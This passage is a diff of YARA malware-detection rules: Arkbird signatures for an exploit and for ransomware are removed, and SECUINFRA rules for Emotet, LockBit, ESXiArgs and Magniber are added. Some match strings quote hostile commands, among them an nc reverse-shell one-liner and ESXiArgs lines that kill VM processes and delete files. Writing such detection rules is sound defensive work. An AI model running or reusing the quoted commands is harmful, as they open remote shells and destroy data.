-		$asm2 = { a1 14 21 01 10 0f 57 c0 8b 74 24 08 89 84 24 28 01 00 00 8d 84 24 20 01 00 00 50 c7 84 24 28 01 00 00 00 00 00 00 66 0f 13 84 24 3c 01 00 00 c7 84 24 44 01 00 00 00 00 00 00 c7 84 24 50 01 00 00 00 00 00 00 c7 84 24 24 01 00 00 30 00 00 00 c7 84 24 30 01 00 00 00 00 00 00 c7 84 24 34 01 00 00 00 00 00 00 89 b4 24 38 01 00 00 c7 84 24 48 01 00 00 00 00 00 00 c7 84 24 4c 01 00 00 10 7f 01 10 ff 15 64 21 01 10 6a 00 56 6a 00 6a 00 6a 01 6a 01 6a 00 6a 00 68 00 00 00 08 68 20 7f 01 10 68 10 7f 01 10 6a 00 ff d7 6a 00 50 6a 00 6a 00 a3 ec a2 01 10 6a 00 ff b4 24 2c 01 00 00 ff 15 58 21 01 }
-		$asm3 = { e8 72 fb ff ff 83 c4 08 68 c0 13 00 10 6a fc ff 76 0c ff 15 54 21 01 10 56 ff 75 0c ff 75 08 6a 00 ff 15 24 21 01 10 5f 5e 5b 5d }
-		$s1 = "[*] Successfully exploited CVE-2019-0808 and triggered the shellcode!" fullword ascii
-		$s2 = "[!] Failed to find the address of IsMenu within user32.dll." fullword ascii
-		$s3 = "Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM." fullword ascii
-		$s4 = "AppPolicyGetProcessTerminationMethod" fullword ascii
-		$s5 = "[*] Found target windows!" fullword ascii
-		$s6 = "[*] addressOfIsMenuFromStartOfUser32: 0x%08X" fullword ascii
-		$s7 = "[*] FakeMenu: %p" fullword ascii
-		$s8 = "[*] Primary window address: 0x%08X" fullword ascii
-		$s9 = "[!] Didn't exploit the program. For some reason our privileges were not appropriate." fullword ascii
-		$s10 = "[*] hUser32: 0x%08X" fullword ascii
-		$s11 = "[*] Secondary window address: 0x%08X" fullword ascii
-		$s12 = "[*] Offset: 0x%08X" fullword ascii
-		$s13 = "[*] pHmValidateHandle: 0x%08X" fullword ascii
-		$s14 = "[*] HWND: %p " fullword ascii
-		$s15 = "[*] pIsMenuFunction: 0x%08X" fullword ascii
-		$s16 = "[*] Destroyed spare windows!" fullword ascii
-		$s17 = "[!] SetWindowLongA malicious error: 0x%08X" fullword ascii
+		$python = "#!/bin/python"
+		$desc = "This module starts debug tools"
+		$command0 = "server_namespace"
+		$command1 = "service_instance"
+		$command2 = "local"
+		$command3 = "operation_id"
+		$command4 = "envelope"
+		$cmd = "'mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc %s %s > /tmp/tmpy_8th_nb' % (host, port)"
+		$OpenSLPPort = "port = '427'"
+		$listener = "HTTPServer(('127.0.0.1', 8008), PostServer).serve_forever()"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >70KB and (pe.imphash()=="d4a5e8c255211639195793920eeda70f" and 2 of ($asm*) and 12 of ($s*))
+		$python and $desc and 4 of ($command*) and $cmd and $OpenSLPPort and $listener
 }
-rule ARKBIRD_SOLG_RAN_ELF_Qnapcrypt_Aug_2021_2 : FILE
+rule SECUINFRA_MALWARE_Emotet_Onenote_Delivery_Wsf_Mar23
 {
 	meta:
-		description = "Detect QNAPCrypt ransomware (x64 version)"
-		author = "Arkbird_SOLG"
-		id = "8cd54646-87da-5261-82f3-68ab96549379"
-		date = "2021-08-11"
-		modified = "2021-08-12"
-		reference = "https://bazaar.abuse.ch/browse/tag/QNAPCrypt/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-11/QNAPCrypt/RAN_ELF_QNAPCrypt_Aug_2021_2.yara#L1-L22"
+		description = "Detects Microsoft OneNote files used to deliver Emotet (.wsf Payload)"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "a9201240-407d-5ca9-b7fd-37372a2e7d2a"
+		date = "2023-03-16"
+		modified = "2023-03-16"
+		reference = "https://www.secuinfra.com/en/news/the-whale-surfaces-again-emotet-epoch4-spam-botnet-returns/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/MALWARE_Emotet_OneNote_Delivery_wsf_Mar23.yar#L1-L33"
 		license_url = "N/A"
-		logic_hash = "9eb3a499afbaaf2addb8ee12cc2d479ebbacd4d19cc270e995f12e83546008b4"
+		logic_hash = "ca48f5e694b18e3f0b89b0128817848a7d36f60d8a3ada522739849bf3f7126b"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		hash1 = "4829041c64971a0cb37d55e6ba83a57e01e76b26f3f744814b59bedbb3fefce8"
-		hash2 = "50470f94e7d65b50bf00d7416a9634d9e4141c5109a78f5769e4204906ab5f0b"
-		hash3 = "f9f5265f4c748ce0e2171915fb8edb6d967539ac46d624db8eb2586854dd0d9e"
-		tlp = "white"
-		adversary = "-"
+		quality = 70
+		tags = ""
+		tlp = "CLEAR"
+		hash0 = "dd9fcdcaf5c26fc27863c86aa65948924f23ab9faa261562cbc9d65ac80d33d4"
+		hash1 = "ca2234b9c6f7c453b91a1ca10fc7b05487f94850be7ac5ea42986347d93772d8"
+		hash2 = "b75681c1f99c4caf541478cc417ee9e8fba48f9b902c45d8bda0158a61ba1a2f"
+		hash3 = "7c4591fd03b73ba6d0ec71a3cf89a04bfb4bd240d359117d96834a83727bdcc2"
 
 	strings:
-		$s1 = { 52 45 41 44 4d 45 5f 46 4f 52 5f 44 45 43 52 59 50 54 }
-		$s2 = { 64 48 8b 0c 25 f8 ff ff ff 48 8d 44 24 ?? 48 3b 41 10 0f 86 [2] 00 00 48 81 ec ?? 00 00 00 48 89 ac 24 ?? 00 00 00 48 8d ac 24 ?? 00 00 00 48 8b 05 [3] 00 48 83 3d [3] 00 00 0f 86 [2] 00 00 48 8b 48 08 48 8b 00 48 89 04 24 48 89 4c 24 08 e8 [3] ff 48 c7 04 24 20 00 00 00 e8 [2] 00 00 48 c7 04 24 00 00 00 00 e8 [3] ff 48 8b 44 24 20 48 89 44 24 58 48 8b 4c 24 18 48 89 8c 24 88 00 00 00 48 8b 54 24 28 48 89 54 24 60 48 }
-		$s3 = { 48 81 ec ?? 00 00 00 48 89 ac 24 ?? 00 00 00 48 8d ac 24 ?? 00 00 00 }
-		$s4 = { 64 48 8b 0c 25 f8 ff ff ff 48 [0-5] 3b ?? 10 0f 86 [2] 00 00 48 ?? ec }
-		$s5 = { 48 83 ec 78 48 89 6c 24 70 48 8d 6c 24 70 48 8b 05 [3] 00 48 8b 0d [3] 00 48 8b 15 [3] 00 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 e8 [3] ff 48 8b 44 24 18 48 85 c0 0f 84 10 01 00 00 48 8b 48 28 48 8b 50 20 48 8b 40 18 48 89 04 24 48 89 54 24 08 48 89 4c 24 10 e8 [3] ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 8b 5c 24 30 48 85 d2 0f 85 a3 00 00 00 48 8d 15 [2] 03 00 48 39 d0 0f 85 13 01 00 00 48 8b 05 [3] 00 48 8b 15 [3] 00 48 89 04 24 48 89 54 24 08 48 89 4c 24 10 48 8b 84 24 80 00 00 00 48 89 44 24 18 48 8b 84 24 88 00 00 00 48 89 44 24 20 48 8b 84 24 90 00 00 00 48 89 44 24 28 e8 [3] ff 48 8b 44 24 38 48 8b 4c 24 40 48 8b 54 24 48 48 8b 5c 24 50 48 8b 74 24 30 48 89 b4 24 98 00 00 00 48 89 84 24 a0 00 00 00 48 89 8c 24 a8 00 00 00 48 89 94 24 b0 00 00 00 48 89 9c 24 b8 00 00 00 48 8b 6c 24 }
-		$s6 = { 48 81 ec 48 01 00 00 48 89 ac 24 40 01 00 00 48 8d ac 24 40 01 00 00 48 8d 7c 24 38 48 8d 35 [2] 0f 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 [3] ff 48 8b 6d 00 48 8d 05 [2] 02 00 48 89 04 24 48 8b 84 24 50 01 00 00 48 89 44 24 08 48 89 44 24 10 e8 [3] ff 48 8b 44 24 18 48 89 84 24 38 01 00 00 31 c9 eb 18 8b 54 84 38 48 8b 5c 24 30 48 8b 84 24 38 01 00 00 89 14 98 48 8d 4b 01 48 8b 94 24 50 01 00 00 48 39 d1 7d 2c 48 89 4c 24 30 90 48 8b 05 [3] 00 48 89 04 24 48 c7 44 24 08 40 00 00 00 e8 [3] ff 48 8b 44 24 10 48 83 f8 40 72 b1 eb 46 48 c7 04 24 00 00 00 00 48 89 44 24 08 48 89 54 24 10 48 89 54 24 18 e8 [3] ff 48 8b 44 24 28 48 8b 4c 24 20 48 89 8c 24 58 01 00 00 48 89 84 24 60 01 00 00 48 8b ac 24 40 01 00 }
+		$s_protected = "This document is protected" wide
+		$s_click = "You have to double-click \"View\" button to open" wide
+		$s_imgFileName = "Untitled picture.jpg" wide
+		$script = "language=\"VBScript\""
+		$wsfExt = ".wsf" ascii wide
+		$GUIDwsf = {E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 3C 6A 6F 62 20 69 64 3D 22}
+		$endTmp = /rad.{5}\.tmp/
 
 	condition:
-		uint32(0)==0x464C457F and filesize >25KB and all of ($s*)
+		uint32be(0x0)==0xE4525C7B and any of ($s_*) and $script and $wsfExt and $GUIDwsf and $endTmp
 }
-rule ARKBIRD_SOLG_RAN_ELF_Qnapcrypt_Aug_2021_1 : FILE
+import "math"
+import "pe"
+import "console"
+
+rule SECUINFRA_RANSOM_Lockbit_Black_Packer : RANSOMWARE FILE
 {
 	meta:
-		description = "Detect QNAPCrypt ransomware (x86 version)"
-		author = "Arkbird_SOLG"
-		id = "fcdec43a-de70-57a2-9527-263685acc820"
-		date = "2021-08-11"
-		modified = "2021-08-12"
-		reference = "https://bazaar.abuse.ch/browse/tag/QNAPCrypt/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-11/QNAPCrypt/RAN_ELF_QNAPCrypt_Aug_2021_1.yara#L1-L29"
+		description = "Detects the packer used by Lockbit Black (Version 3)"
+		author = "SECUINFRA Falcon Team"
+		id = "f4c1a12b-eb89-5a46-97a9-f0207ca1bbde"
+		date = "2022-07-04"
+		modified = "2022-07-04"
+		reference = "https://twitter.com/vxunderground/status/1543661557883740161"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_Lockbit_Black_Packer.yar#L5-L40"
 		license_url = "N/A"
-		logic_hash = "4dbe5241b9f1b68a15193f3d5c7b0b5fac80208c16917b6e543ce407301f1dcf"
+		logic_hash = "cde7f5374b97b2462cfd951994b6bb3ef0962e1be71253e25ca14d53c3d3d615"
 		score = 75
-		quality = 71
-		tags = "FILE"
-		hash1 = "551e03e17d1df9bd5b712bec7763578c01e7bffe9b93db246e36ec0a174f7467"
-		hash2 = "670250a169ba548c07a5066a70087e83bbc7fd468ef46199d76f97f9e7f72f36"
-		hash3 = "6df0897d4eb0826c47850968708143ecb9b58a0f3453caa615c0f62396ef816b"
-		hash4 = "fedcce505a5e307c1d116d52b3122f6484b3d25fb3c4d666fe7af087cfe85349"
-		tlp = "white"
-		adversary = "-"
+		quality = 45
+		tags = "RANSOMWARE, FILE"
+		tlp = "WHITE"
+		hash0 = "80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce"
+		hash1 = "506f3b12853375a1fbbf85c82ddf13341cf941c5acd4a39a51d6addf145a7a51"
+		hash2 = "d61af007f6c792b8fb6c677143b7d0e2533394e28c50737588e40da475c040ee"
 
 	strings:
-		$s1 = { 2d 00 20 00 20 00 00 00 80 00 80 08 00 00 00 00 00 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 25 00 05 }
-		$s2 = { 2d 2d 2d 2d 2d 45 4e 44 20 00 00 00 00 00 00 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 }
-		$s3 = { 52 65 71 75 69 72 65 64 55 73 65 72 2d 41 67 65 6e 74 3a 20 25 73 0d 0a 57 77 77 2d 41 75 74 68 65 6e 74 69 63 61 74 65 5a 61 6e 61 62 61 7a 61 72 5f 53 71 75 61 72 65 0a 72 75 6e 74 69 6d 65 20 73 74 61 63 6b 3a }
-		$s4 = { 34 10 90 e5 80 20 9f e5 04 20 8d e5 08 10 8d e5 c8 10 9f e5 0c 10 8d e5 0a 30 a0 e3 10 30 8d e5 53 4e f8 eb 14 00 9d e5 00 10 90 e5 04 00 90 e5 00 00 50 e3 0c 00 00 da 04 00 91 e5 00 10 91 e5 04 10 8d e5 08 00 8d e5 94 00 9f e5 0c 00 8d e5 05 00 a0 e3 10 00 8d e5 15 e2 ff eb 14 00 dd e5 01 10 20 e2 84 00 9d e5 09 fe ff ea 00 00 a0 e3 00 10 a0 e3 f1 ff ff ea 0e 30 a0 e1 56 76 f9 eb fa }
-		$s5 = { 89 7c 24 2c 83 fe 20 19 db 89 f1 bf 01 00 00 00 d3 e7 21 df 89 fb 83 c7 ff 89 7c 24 24 83 c1 e0 89 4c 24 3c 83 f9 20 19 f6 f7 d9 89 4c 24 38 83 f9 20 19 ff 8b 4c 24 3c ba 01 00 00 00 d3 e2 21 f2 8b 4c 24 38 be 01 00 00 00 d3 ee 21 fe 09 d6 83 c3 ff 83 d6 ff 89 74 24 34 8b 54 24 44 8b 5c 24 2c 8b 7c 24 40 8b 4c 24 28 89 44 24 48 31 c0 89 44 24 30 31 c0 89 44 24 20 31 c0 89 44 24 1c }
-		$s6 = { 65 8b 0d 00 00 00 00 8b 89 fc ff ff ff 3b 61 08 0f 86 44 03 00 00 83 ec 58 c7 44 24 20 00 00 00 00 c7 44 24 24 00 00 00 00 8d 05 60 c3 27 08 89 44 24 20 8d 0d 28 af 31 08 89 4c 24 24 8b 0d 4c 35 4c 08 8d 15 50 e8 31 08 89 14 24 89 4c 24 04 8d 4c 24 20 89 4c 24 08 c7 44 24 0c 01 00 00 00 c7 44 24 10 01 00 00 00 e8 63 b9 ea ff 90 c7 05 94 38 4c 08 06 00 00 00 8b 05 d0 50 4d 08 85 c0 0f 85 b3 02 00 00 8d 05 1a d3 2b 08 89 05 90 38 4c 08 8b 05 a4 34 4c 08 89 04 24 8d 05 10 02 32 08 89 44 24 04 8d 05 90 38 4c 08 89 44 24 08 }
-		$x1 = { e8 [2] e4 ff 8b 44 24 08 89 44 24 28 8b 4c 24 0c 89 4c 24 2c 31 d2 31 db eb 18 8b 6c 24 40 83 c5 01 8b 54 24 44 83 d2 00 8b 44 24 28 8b 4c 24 2c 89 eb 39 ca 87 dd 0f ?? c3 87 dd }
-		$x2 = { 8b ?? 20 89 ?? 24 ff d0 8b 44 24 ?? 89 44 24 ?? 8b 4c 24 ?? 89 4c 24 ?? c7 44 24 68 65 43 68 30 c7 44 24 6c 72 61 69 78 89 ?? 24 89 ?? 24 04 e8 [2] e4 ff }
-		$x3 = { 74 11 90 e5 70 21 90 e5 68 31 90 e5 6c 41 90 e5 04 30 8d e5 08 40 8d e5 0c 20 8d e5 10 10 8d e5 91 5c fe eb 1c 00 9d e5 18 10 9d e5 14 30 9d e5 78 20 9d e5 40 10 82 e5 44 00 82 e5 ac b6 9f e5 00 00 9b e5 00 00 50 e3 27 06 00 1a 3c 30 82 e5 7c 02 9d e5 20 10 80 e2 1b 2e 8d e2 f9 0d fc eb 04 20 8d e2 1b 1e 8d e2 f6 0d fc eb 9e f4 ff eb 34 00 9d e5 78 30 9d e5 48 00 83 e5 7c 02 9d e5 d4 40 90 e5 d0 50 90 e5 cc 60 90 e5 04 60 8d e5 08 50 8d e5 0c 40 8d e5 fe f5 ff eb 10 00 9d e5 78 30 9d e5 4c 00 83 e5 04 00 8d e5 7c 02 9d e5 c0 40 80 e2 08 40 8d e5 8c fa ff eb 0c 00 9d e5 18 30 9d e5 10 40 9d e5 14 50 9d e5 78 60 9d e5 50 00 86 e5 14 b6 9f e5 00 00 9b e5 00 }
-		$x4 = { d0 00 8d e5 05 00 53 e3 a0 05 00 1a 00 30 d2 e5 68 00 53 e3 9a 05 00 1a 01 30 d2 e5 74 00 53 e3 94 05 00 1a 02 30 d2 e5 74 00 53 e3 8e 05 00 1a 03 30 d2 e5 70 00 53 e3 88 05 00 1a 04 20 d2 e5 73 00 52 e3 82 05 00 1a 9c 22 9d e5 54 30 92 e5 00 00 53 e3 72 04 00 0a 00 00 51 e3 6a 04 00 1a b4 12 9d e5 b8 32 9d e5 54 70 92 e5 58 07 9f e5 }
-		$x5 = { 55 6e 61 62 6c 65 20 74 6f 20 63 72 65 61 74 65 20 70 69 64 20 66 69 6c 65 20 3a 20 25 76 }
-		$x6 = { 53 61 76 65 20 63 75 72 72 20 50 49 44 20 25 64 }
+		$sectionname0 = ".rdata$zzzdbg" ascii
+		$sectionname1 = ".xyz" ascii fullword
+		$check0 = {3d 75 80 91 76 ?? ?? 3d 1b a4 04 00 ?? ?? 3d 9b b4 84 0b}
+		$check1 = {3d 75 ba 0e 64}
+		$asciiCalc = {66 83 f8 41 ?? ?? 66 83 f8 46 ?? ?? 66 83 e8 37}
 
 	condition:
-		uint32(0)==0x464C457F and filesize >25KB and 3 of ($s*) and 2 of ($x*)
+		uint16(0)==0x5a4d and filesize >111KB and filesize <270KB and all of ($sectionname*) and any of ($check*) and $asciiCalc and for any i in (0..pe.number_of_sections-1) : (math.entropy(pe.sections[i].raw_data_offset,pe.sections[i].raw_data_size)>7.9 and (pe.sections[i].name==".text" or pe.sections[i].name==".data" or pe.sections[i].name==".pdata") and console.log("High Entropy section found:",pe.sections[i].name))
 }
-rule ARKBIRD_SOLG_RAN_Blackmatter_Aug_2021_1 : FILE
+rule SECUINFRA_RANSOM_Esxiargs_Ransomware_Bash_Feb23
 {
 	meta:
-		description = "Detect BlackMatter ransomware"
-		author = "Arkbird_SOLG"
-		id = "eb308cde-af92-5b34-b256-88009f90810f"
-		date = "2021-08-02"
-		modified = "2021-08-02"
-		reference = "https://twitter.com/abuse_ch/status/1421834305416933376"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-01/Blackmatter/RAN_BlackMatter_Aug_2021_1.yara#L1-L23"
+		description = "Detects the ESXiArgs Ransomware encryption bash script"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "dafcb312-bad2-5dcc-8260-80d09e11853b"
+		date = "2023-02-07"
+		modified = "2023-02-07"
+		reference = "https://secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_ESXiArgs_Ransomware_Bash_Feb23.yar#L1-L45"
 		license_url = "N/A"
-		logic_hash = "ff158ce977eb10f36c9e8a032dd3880fcd5ecc09e9cc07cd27b98bbce5661d75"
-		score = 50
-		quality = 71
-		tags = "FILE"
-		hash1 = "22d7d67c3af10b1a37f277ebabe2d1eb4fd25afbd6437d4377400e148bcc08d6"
-		hash2 = "7f6dd0ca03f04b64024e86a72a6d7cfab6abccc2173b85896fc4b431990a5984"
-		level = "Experimental"
-		tlp = "white"
-		adversary = "-"
+		logic_hash = "e9838fd86e25c434f419dcc8d37a56f4f83c38930b0558181585bbfe77cd1baf"
+		score = 75
+		quality = 70
+		tags = ""
+		tlp = "CLEAR"
 
 	strings:
-		$s1 = { 55 8b ec 81 ec ac 02 00 00 53 51 52 56 57 c7 45 fc 00 00 00 00 c7 45 f4 00 00 00 00 c7 45 f0 00 00 00 00 c7 45 ec 00 00 00 00 6a 00 ff 15 00 15 41 00 85 c0 0f 85 3e 04 00 00 8d 45 d4 50 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 84 15 41 00 85 c0 0f 85 1c 04 00 00 8d 85 7c ff ff ff c7 00 b1 5f 5a 22 c7 40 04 c8 5f 75 22 c7 40 08 b1 5f 06 22 b9 03 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8b 7d 08 8b 4d d4 8d 45 f8 50 6a 00 6a 00 6a 00 6a 00 6a 02 ff 71 1c ff 15 88 15 41 00 85 c0 75 6d 8d 45 dc 50 6a 00 6a 00 ff 75 f8 ff 15 8c 15 41 00 85 }
-		$s2 = { 8d 45 88 c7 00 a1 5f 42 22 c7 40 04 ac 5f 56 22 c7 40 08 d7 5f 29 22 c7 40 0c c2 5f 45 22 c7 40 10 a3 5f 3b 22 c7 40 14 ae 5f 69 22 c7 40 18 80 5f 76 22 c7 40 1c 98 5f 72 22 c7 40 20 88 5f 74 22 c7 40 24 9e 5f 2a 22 c7 40 28 ed 5f 06 22 b9 0b 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 88 50 8d 85 54 fd ff ff 50 ff 15 dc 12 41 00 83 c4 08 ff 75 cc 8d 85 54 fd ff ff 50 ff 15 d8 12 41 00 83 c4 08 8d 45 ec 50 8d 85 5c ff ff ff 50 6a 01 6a 00 6a 00 8d 85 54 fd ff ff 50 ff 15 98 15 41 00 }
-		$s3 = { 8d 45 b4 c7 00 21 0a 83 e9 c7 40 04 c5 ce d7 33 c7 40 08 40 c4 06 e2 c7 40 0c a2 87 fb dd b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 a4 c7 00 6a f9 14 fe c7 40 04 92 2c c9 33 c7 40 08 65 12 06 88 c7 40 0c ed 14 28 06 b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 94 c7 00 75 39 4d 45 c7 40 04 7f b1 d6 33 c7 40 08 40 2e 06 e2 c7 40 0c a2 87 fb dd b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 45 84 c7 00 99 f9 aa 66 c7 40 04 11 b7 d6 33 c7 40 08 4d 23 06 e2 c7 40 0c a2 e9 8e 02 b9 04 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 85 b8 fe ff ff c7 00 b2 5f 59 22 c7 40 04 bd 5f 74 22 c7 40 08 82 5f 70 22 c7 40 0c 84 5f 62 22 c7 40 10 88 5f 74 22 c7 40 14 ac 5f 74 22 c7 40 18 8e 5f 6e 22 c7 40 1c 84 5f 72 22 c7 40 20 88 5f 65 22 c7 40 24 99 5f 73 22 c7 40 28 9f 5f 63 22 c7 40 2c ed 5f 06 22 b9 0c 00 00 00 81 30 ed 5f 06 22 83 c0 04 49 75 f4 8d 85 6c ff ff ff c7 00 bf 5f 49 22 c7 40 04 a2 5f 52 22 c7 40 08 b1 5f 45 22 c7 40 0c a4 5f 4b 22 c7 40 10 bb 5f 34 22 c7 40 14 ed 5f 06 22 b9 06 00 00 }
-		$s4 = { 8d bd fc fe ff ff 32 c0 aa b9 2a 00 00 00 b0 ff f3 aa b0 3e aa b9 03 00 00 00 b0 ff f3 aa b0 3f aa b9 0a 00 00 00 b0 34 aa fe c0 e2 fb b9 03 00 00 00 b0 ff f3 aa 32 c0 aa b9 03 00 00 00 b0 ff f3 aa }
-		$s5 = { 35 35 35 4f 35 58 35 22 36 35 36 3f 36 2c 37 3f 37 60 37 76 37 }
-		$s6 = { 3d 2b 3d 47 3d 4d 3d 60 3d 67 3d 6d 3d }
-		$s7 = { 8b 0e 0f b6 d1 0f b6 dd 57 8d bd fc fe ff ff 8a 04 3a 8a 24 3b c1 e9 10 83 c6 04 0f b6 d1 0f b6 cd 8a 1c 3a 8a 3c 39 5f 8a d4 8a f3 c0 e0 02 c0 eb 02 c0 e6 06 c0 e4 04 c0 ea 04 0a fe 0a c2 0a e3 88 07 88 7f 02 88 67 01 ff 4d fc }
+		$bash = "#!/bin/sh"
+		$wait = "Waiting for task' completion..."
+		$comment0 = "## SSH HI"
+		$comment1 = "## CHANGE CONFIG"
+		$comment2 = "## STOP VMX"
+		$kill0 = "echo \"KILL VMX\""
+		$kill1 = "kill -9 $(ps | grep vmx | awk '{print $2}')"
+		$index = "$path_to_ui/index1.html"
+		$ext0 = ".vmdk"
+		$ext1 = ".vmx"
+		$ext2 = ".vmxf"
+		$ext3 = ".vmsd"
+		$ext4 = ".vmsn"
+		$ext5 = ".vswp"
+		$ext6 = ".vmss"
+		$ext7 = ".nvram"
+		$ext8 = ".vmem"
+		$clean0 = "/bin/rm -f $CLEAN_DIR\"encrypt\" $CLEAN_DIR\"nohup.out\" $CLEAN_DIR\"index.html\" $CLEAN_DIR\"motd\" $CLEAN_DIR\"public.pem\" $CLEAN_DIR\"archieve.zip\""
+		$clean1 = "/bin/echo '' > /etc/rc.local.d/local.sh"
 
 	condition:
-		uint16(0)==0x5A4D and filesize >25KB and 5 of ($s*)
+		$bash and $wait and any of ($comment*) and 2 of ($kill*) and $index and 4 of ($ext*) and 2 of ($clean*)
 }
-rule ARKBIRD_SOLG_APT_Aridviper_Installer_Feb_2020_1 : FILE
+rule SECUINFRA_RANSOM_Magniber_LNK_Jan23
 {
 	meta:
-		description = "Detect Installer used by AridViper group in Febuary 2021"
-		author = "Arkbird_SOLG"
-		id = "3d891aeb-b4d6-50f2-ad08-cb6d9d56064d"
-		date = "2021-02-08"
-		modified = "2021-02-09"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-08/AridViper/APT_AridViper_Installer_Feb_2020_1.yar#L1-L26"
+		description = "Detects Magniber Ransomware LNK files from fake Windows Update delivery method"
+		author = "SECUINFRA Falcon Team"
+		id = "2459a9e9-a6bb-50fc-9920-7632fdec7e91"
+		date = "2023-01-13"
+		modified = "2023-01-13"
+		reference = "https://twitter.com/SI_FalconTeam/status/1613540054382559234"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_Magniber_LNK_Jan23.yar#L1-L18"
 		license_url = "N/A"
-		logic_hash = "1fca713b7ac7f3e960a4174325c32578724e87241e159fbf7754c7e2d19779a1"
-		score = 50
-		quality = 69
-		tags = "FILE"
-		level = "Experimental"
-		hash1 = "16ed131c4a7545495dc3f07d199748a5d0560e7c8a44493c1906163bedc9c2e0"
-		hash2 = "84d9c7852b87253ccf0ca1aad57e510a4badfe253c063a72c7751930f0279c83"
+		hash = "16ecec4efa2174dec11f6a295779f905c8f593ab5cc96ae0f5249dc50469841c"
+		logic_hash = "074611d74e382bb19a45b052b5b2cc186bf3667420cb1625e9bda37f2e9774c5"
+		score = 75
+		quality = 70
+		tags = ""
+		tlp = "CLEAR"
 
 	strings:
-		$seq_db = { 8b 7d ec 33 d2 89 55 ec 8b 0f 8b c1 89 4d e4 38 11 74 2e 66 90 83 f8 ff 73 24 8a 08 40 80 f9 c0 72 16 8a 08 80 e1 c0 80 f9 80 75 0c 8a 48 01 40 80 e1 c0 80 f9 80 74 f4 42 80 38 00 75 d7 89 55 ec f7 46 18 00 00 08 00 74 47 8b d7 8b cb e8 a2 f9 ff ff 89 45 e0 85 c0 74 34 83 7d f0 01 b9 [3] 00 50 ff 75 f8 b8 [3] 00 ff 75 e4 0f 44 c8 51 ff 75 f4 68 [3] 00 53 e8 34 2e 00 00 8b 55 e0 83 c4 1c 8b ce e8 ?? c3 fc ff 8b 55 ec ff 75 e4 8b 45 f8 b9 [3] 00 83 7d f0 01 52 50 50 50 50 50 b8 [3] 00 0f 44 c1 50 ff 75 f4 68 [3] 00 53 e8 f8 2d 00 00 83 c4 2c ba [3] 00 8b ce ff 75 f4 e8 e6 2e 00 00 83 c4 04 85 c0 74 16 ff 37 ff 75 f8 ff 75 f4 68 [3] 00 53 e8 cc 2d 00 00 83 c4 14 8b d7 8b cb e8 90 f9 ff ff 89 45 e0 85 c0 74 1e 50 8b 45 f8 50 50 68 [3] 00 53 e8 a8 2d 00 00 8b 55 e0 83 c4 14 8b ce e8 ?? c3 fc ff f7 46 18 00 00 08 00 74 2e 8b cf e8 db e5 00 00 8b f0 85 f6 74 1e 0f 1f 44 00 00 8b 16 3b d7 74 0c ff 32 8b cb e8 f1 f9 ff ff 83 c4 04 8b 76 0c 85 f6 75 e7 8b 75 e8 ff 75 f8 8b d7 8b cb e8 d8 f9 ff ff 83 c4 04 }
-		$seq_createdb = { 8a 43 42 84 c0 78 05 0f be c0 eb 07 8b cf e8 ?? 91 fb ff 8b 4d f8 8b d0 e8 ?? 90 fb ff 68 [3] 00 8b d6 8b cb e8 4d fc ff ff 8b f8 83 c4 04 85 ff 0f 85 41 01 00 00 68 [3] 00 8b d6 8b cb e8 32 fc ff ff 8b f8 83 c4 04 85 ff 0f 85 26 01 00 00 68 [3] 00 8b d6 8b cb e8 17 fc ff ff 8b f8 83 c4 04 85 ff 0f 85 0b 01 00 00 68 [3] 00 8b d6 8b cb e8 fc fb ff ff 8b f8 83 c4 04 85 ff 0f 85 f0 00 00 00 68 [3] 00 8b d6 8b cb e8 e1 fb ff ff 8b f8 83 c4 04 85 ff 0f 85 d5 00 00 00 68 [3] 00 8b d6 8b cb e8 c6 fb ff ff 8b f8 83 c4 04 85 ff 0f 85 ba 00 00 00 68 [3] 00 8b d6 8b cb e8 eb fa ff ff 8b f8 83 c4 04 85 ff 0f 85 9f 00 00 00 33 f6 0f 1f 40 00 0f 1f 84 00 00 00 00 00 }
